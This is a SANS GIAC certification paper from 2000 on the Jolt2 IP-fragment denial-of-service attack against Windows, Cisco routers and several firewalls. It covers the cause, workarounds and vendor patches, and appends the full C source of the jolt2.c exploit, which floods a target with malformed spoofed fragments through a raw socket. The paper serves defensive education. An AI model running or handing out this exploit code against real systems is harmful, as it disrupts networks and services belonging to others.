



Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permitted without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Security Essentials Bootcamp Style (Security 401)"
at <http://www.giac.org/registration/gsec>

Jolt2: DoS that is not just for Windows Anymore

Michael Castro
August 11, 2000

Today's Internet World is awash with constant attempts to hack and ultimately damage in some form computer networks and systems. In February of this year, the public became deftly aware of the dangers as attacks on such large websites as Yahoo, amazon.com and eBay, were brought to public attention. However these attacks have been present on the Internet and in Networks around the world for years. In 1997, Windows became susceptible to one of these Denial of Service attack (DoS) the Jolt 1.0, which was able to bring down Windows95 and NT4. Now in 2000, a new breed has emerged. This new vulnerability allows remote attackers to cause a IP fragment-driven Denial of Service attack on Windows, by causing the target machine to utilize 100% of the CPU time to process illegal fragmented packets. However it has recently been discovered that it also affects certain routers and firewall systems; like the Checkpoint Firewall-1, Network Solutions Gauntlet, and Cisco.

Vulnerable systems:

Windows 95/98/NT4/2000

Be/OS 5.0

Cisco 26xx

Cisco 25xx

Cisco 4500

Cisco 36xx

Network Associates Gauntlet, Webshield

Firewall-1 from Checkpoint on Solaris, NT, and probably other platforms

Nokia firewall

Bay router (Nortel) firewall

Fore (Marconi) (questionable vulnerability)

However, more than 50% of Internet-connected organizations use a firewall that may be vulnerable. The tools needed to attack systems are readily available over the Internet.

Exploit:

The exploit can be found at the end of this document, as provided by Phonix.

Cause & Affect:

This DoS relies on an exploit involving IP fragmentation, which is a process whereby IP datagrams are subdivided into smaller data packets during transit. Fragmentation is required because every network architecture carries data in groups called frames, and the maximum frame size varies from network to network. When an IP datagram enters a network whose maximum frame size is smaller than the size of the datagram, it is split into fragments. Thereafter, the fragments travel separately to their destination, at which point they are re-assembled and processed.

In Windows 9x/ NT4 or 2000, this vulnerability results because of a flaw in the way the system performs IP fragment re-assembly. If a group of IP fragments with a particular type of malformation are directed against a machine, the work factor associated with performing IP fragment re-assembly can be driven arbitrarily high by varying the data rate at which the fragments are sent. In this case, if the fragmented packet is transmitted at a rate of 150 packets per second, the CPU of the target machine will be forced to utilize 100% of resources, potentially causing the machine to halt. The vulnerability results because Windows does not correctly perform IP fragment re-assembly. Most cases however merely are affected as long as the packets are being sent, with the target machine returning to normal once the packet storm is completed.

In the Gauntlet Firewall, the DoS affects HTTP traffic. The attack causes the daemon to crash and dump a core file, thus preventing the HTTP proxy from checking policy, and thereby resulting in new connections been failed. The DoS can also create a vulnerability to execute arbitrary shell commands as root.

In the Checkpoint Firewall-1, the attack finds vulnerability with the fact that this firewall does not usually inspect or log fragmented packets until the packets are re-assembled. Therefore, the Firewall-1 will be forced to utilize 100 % CPU power to attempt to re-assemble the packets and thereby denying service to other services and requests.

Workaround:

Securiteam.com has put out the following workaround for dealing with the Jolt2 DoS

On stateful packet filtering firewalls:

- * The packet fails structural integrity tests. The reported length (68) is much larger than the received length (29). However: A broken router may decide to send 68 bytes when forwarding it (adding 39 bytes of random padding).
- * This incarnation of the attack is also illegal in that it wraps the IP packet size limit. The IP data length reported is 48, and the offset is 65520.

* If the firewall has any sort of fragment reassembly, it shouldn't forward a single packet, since there are no valid fragments preceding the attack sequence.

* If the firewall maps fragments to open connections, it should detect that there is no open connection for this particular packet, thereby discarding it.

Proxy firewalls:

* A proxy function will never pass this attack pattern to the protected network (assuming that there is no packet filtering functionality applied to the firewall).

* If the proxy firewall is running on a vulnerable OS and doesn't have its own network layer code (relies on the MS stack), the attack will DoS the firewall itself, effectively DoSing your entire connection.

Any other type of Firewall:

*If the firewall does fragment reassembly in an incorrect way (maybe by trusting vulnerable MS stacks to do it), it will be vulnerable to the attack, regardless of which type of firewall it is.

Solution:

All manufacturers have produced patches for their products. Manufacturers have also suggested solutions outside of the patches.

-In the cases of Gauntlet, it is recommended to deny any connection to port 8999 on the firewall.

-For Checkpoint, it is recommended that console logging be disabled.

-Microsoft suggests installation of the patch.

-All other Routers should filter the fragmented IP packets if possible.

Patches:

Windows NT 4.0 Workstation, Server and Server, Enterprise Edition:

<http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20829>

Windows NT 4.0 Server, Terminal Server Edition:

<http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20830>

Windows 2000 Professional, Server and Advanced Server:

<http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20827>

Windows 95: <http://download.microsoft.com/download/win95/update/8070/w95/EN-US/259728USA5.EXE>

Windows 98: <http://download.microsoft.com/download/win98/update/8070/w98/EN-US/259728USA8.EXE>

Checkpoint: http://www.checkpoint.com/techsupport/alerts/ipfrag_dos.html

Network Associates: <http://www.tis.com/support/cyberadvisory.html>

Conclusion:

DoS attacks, and ultimately dealing with them, are in reality part of the everyday world of system administration. The attacks like this one, are readily available on the Internet for any malicious user to download and set loose on a unsuspecting system. As a system administrator, it is best vigilance to ensure that up to date software is used, patches are promptly applied, systems are monitored and that every effort is made to first avoid these attacks, and if needed, deal with them if they do compromise your system. Ultimately, one has to remember that although this particular attack will ultimately be overcome, a newer breed of attack has already been developed and could affect your system at any time.

© SANS Institute 2000 - 2002, Author retains full rights.

References:

SecuriTeam.com. "Jolt2 – a new Windows DoS attack" May 27/2000

URL: [http://www.securiteam.com/exploits/Jolt2 - a new Windows DoS attack.html](http://www.securiteam.com/exploits/Jolt2_-_a_new_Windows_DoS_attack.html)

ICSA.net. "Hype or Hot"

URL: <http://icsa.net/html/hypeorhot/jolt.shtml>

Microsoft Security Bulletin (MS00-029) May 19, 2000

URL: <http://www.microsoft.com/technet/security/bulletin/ms00-029.asp>

Multiple Vendor Fragmented IP Packets DoS Vulnerability May 19, 2000

URL:

<http://securityfocus.com/frames/?content=/vdb/bottom.html%3Fsection%3Dsolution%26vid%3D1236>

© SANS Institute 2000 - 2002, Author retains full rights.

EXPLOIT

```
/*
 * File: jolt2.c
 * Author: Phonix <phonix@moocow.org>
 * Date: 23-May-00
 *
 * Description: This is the proof-of-concept code for the
 *             Windows denial-of-service attack described by
 *             the Razor team (NTBugtraq, 19-May-00)
 *             (MS00-029). This code causes cpu utilization
 *             to go to 100%.
 *
 * Tested against: Win98; NT4/SP5,6; Win2K
 *
 * Written for: My Linux box. YMMV. Deal with it.
 *
 * Thanks: This is standard code. Ripped from lots of places.
 *        Insert your name here if you think you wrote some of
 *        it. It's a trivial exploit, so I won't take credit
 *        for anything except putting this file together.
 */
```

```
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>
```

```
struct _pkt
{
    struct iphdr ip;
    union {
        struct icmphdr icmp;
        struct udphdr udp;
    } proto;
    char data;
} pkt;
```

```
int icmplen = sizeof(struct icmphdr),
    udplen = sizeof(struct udphdr),
```

```

    iplen = sizeof(struct iphdr),
    spf_sck;

void usage(char *pname)
{
    fprintf(stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
        pname);
    fprintf(stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
    exit(0);
}

u_long host_to_ip(char *host_name)
{
    static u_long ip_bytes;
    struct hostent *res;

    res = gethostbyname(host_name);
    if (res == NULL)
        return (0);
    memcpy(&ip_bytes, res->h_addr, res->h_length);
    return (ip_bytes);
}

void quit(char *reason)
{
    perror(reason);
    close(spf_sck);
    exit(-1);
}

int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
    int  bs, psize;
    unsigned long x;
    struct sockaddr_in to;

    to.sin_family = AF_INET;
    to.sin_port = 1235;
    to.sin_addr.s_addr = dst_addr;

    if (port)
        psize = iplen + udplen + 1;
    else
        psize = iplen + icmplen + 1;
    memset(&pkt, 0, psize);

```



```

pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (8190);

if (port)
{
    pkt.proto.udp.source = htons(port|1235);
    pkt.proto.udp.dest = htons(port);
    pkt.proto.udp.len = htons(9);
    pkt.data = 'a';
} else {
    pkt.proto.icmp.type = ICMP_ECHO;
    pkt.proto.icmp.code = 0;
    pkt.proto.icmp.checksum = 0;
}

while (1) {
    bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
               sizeof(struct sockaddr));
}
return bs;
}

```

```

int main(int argc, char *argv[])
{
    u_long src_addr, dst_addr;
    int i, bs=1, port=0;
    char hostname[32];

    if (argc < 2)
        usage (argv[0]);

    gethostname (hostname, 32);
    src_addr = host_to_ip(hostname);

    while ((i = getopt (argc, argv, "s:p:h")) != EOF)
    {
        switch (i)
        {
            case 's':

```

```
dst_addr = host_to_ip(optarg);
if (!dst_addr)
    quit("Bad source address given.");
break;

case 'p':
    port = atoi(optarg);
    if ((port <=0) || (port > 65535))
        quit ("Invalid port number given.");
    break;

case 'h':
default:
    usage (argv[0]);
}
}

dst_addr = host_to_ip(argv[argc-1]);
if (!dst_addr)
    quit("Bad destination address given.");

spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
    quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
    sizeof(bs)) < 0)
    quit("IP_HDRINCL");

do_frags (spf_sck, src_addr, dst_addr, port);
}
```

© SANS Institute 2000 - 2002, Author retains full rights.

Upcoming Training

Click Here to
{Get CERTIFIED!}



SANS vLive - SEC401: Security Essentials Bootcamp Style	SEC401 - 201710,	Oct 23, 2017 - Nov 29, 2017	vLive
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
San Diego Fall 2017 - SEC401: Security Essentials Bootcamp Style	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS Gulf Region 2017	Dubai, United Arab Emirates	Nov 04, 2017 - Nov 16, 2017	Live Event
SANS Miami 2017	Miami, FL	Nov 06, 2017 - Nov 11, 2017	Live Event
Community SANS Vancouver SEC401^	Vancouver, BC	Nov 06, 2017 - Nov 11, 2017	Community SANS
Community SANS Colorado Springs SEC401~	Colorado Springs, CO	Nov 06, 2017 - Nov 11, 2017	Community SANS
SANS Sydney 2017	Sydney, Australia	Nov 13, 2017 - Nov 25, 2017	Live Event
SANS Paris November 2017	Paris, France	Nov 13, 2017 - Nov 18, 2017	Live Event
SANS London November 2017	London, United Kingdom	Nov 27, 2017 - Dec 02, 2017	Live Event
Community SANS Portland SEC401	Portland, OR	Nov 27, 2017 - Dec 02, 2017	Community SANS
SANS San Francisco Winter 2017	San Francisco, CA	Nov 27, 2017 - Dec 02, 2017	Live Event
Community SANS St. Louis SEC401	St Louis, MO	Nov 27, 2017 - Dec 02, 2017	Community SANS
SANS Khobar 2017	Khobar, Saudi Arabia	Dec 02, 2017 - Dec 07, 2017	Live Event
Community SANS Ottawa SEC401	Ottawa, ON	Dec 04, 2017 - Dec 09, 2017	Community SANS
SANS Austin Winter 2017	Austin, TX	Dec 04, 2017 - Dec 09, 2017	Live Event
SANS Munich December 2017	Munich, Germany	Dec 04, 2017 - Dec 09, 2017	Live Event
SANS vLive - SEC401: Security Essentials Bootcamp Style	SEC401 - 201712,	Dec 11, 2017 - Jan 24, 2018	vLive
SANS Bangalore 2017	Bangalore, India	Dec 11, 2017 - Dec 16, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Cyber Defense Initiative 2017 - SEC401: Security Essentials Bootcamp Style	Washington, DC	Dec 14, 2017 - Dec 19, 2017	vLive
Community SANS Hawaii SEC401	Honolulu, HI	Jan 08, 2018 - Jan 13, 2018	Community SANS
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
Community SANS Nashville SEC401^	Nashville, TN	Jan 08, 2018 - Jan 13, 2018	Community SANS
Mentor Session - SEC401	Memphis, TN	Jan 09, 2018 - Mar 13, 2018	Mentor
Northern VA Winter - Reston 2018	Reston, VA	Jan 15, 2018 - Jan 20, 2018	Live Event
SANS Amsterdam January 2018	Amsterdam, Netherlands	Jan 15, 2018 - Jan 20, 2018	Live Event
Mentor Session - SEC401	Minneapolis, MN	Jan 16, 2018 - Feb 27, 2018	Mentor
Las Vegas 2018 - SEC401: Security Essentials Bootcamp Style	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	vLive
SANS Las Vegas 2018	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	Live Event